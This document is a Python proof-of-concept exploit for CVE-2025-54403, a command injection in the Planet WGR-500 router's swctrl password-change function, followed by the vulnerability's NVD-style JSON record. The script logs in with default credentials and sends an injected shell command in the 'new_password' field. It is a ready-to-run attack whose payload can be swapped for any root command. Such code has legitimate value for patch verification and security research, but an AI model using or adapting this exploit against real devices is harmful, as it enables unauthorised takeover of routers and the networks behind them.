CVE-2025-54403

# CVE-2025-54403 - Planet WGR-500 swctrl Command Injection PoC # Vulnerability: OS Command Injection via 'new_password' parameter # Affected: Planet WGR-500 v1.3411b190912 import requests import sys TARGET_URL = "http://<router_ip>/swctrl" USERNAME = "admin" PASSWORD = "admin" # Default or known low-privilege credentials # Malicious payload injected into new_password parameter # The injected command will be executed with root privileges INJECTION_PAYLOAD = "test; id; #" def exploit(target_url, username, password, payload): """ Exploit OS command injection in swctrl functionality via the new_password request parameter. """ session = requests.Session() # Step 1: Authenticate to the router (low privilege) login_url = f"{target_url}/login" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data) print(f"[*] Login response status: {resp.status_code}") # Step 2: Send crafted request with command injection in new_password swctrl_url = f"{target_url}/swctrl" inject_data = { "new_password": payload, # Command injection point "action": "change_password" } resp = session.post(swctrl_url, data=inject_data) print(f"[*] Injection response status: {resp.status_code}") print(f"[*] Response body: {resp.text}") return resp if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL exploit(target, USERNAME, PASSWORD, INJECTION_PAYLOAD)

{"cve": {"id": "CVE-2025-54403", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:38.133", "lastModified": "2025-11-03T18:16:59.473", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Multiple OS command injection vulnerabilities exist in the swctrl functionality of Planet WGR-500 v1.3411b190912. A specially crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This command injection is related to the `new_password` request parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:*", "matchCriteriaId": "B2595E4C-3CBF-44C8-B4E4-56498F94899E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD4C9C5C-B223-4AED-9210-E0ADA4150E0B"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2227", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2227", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}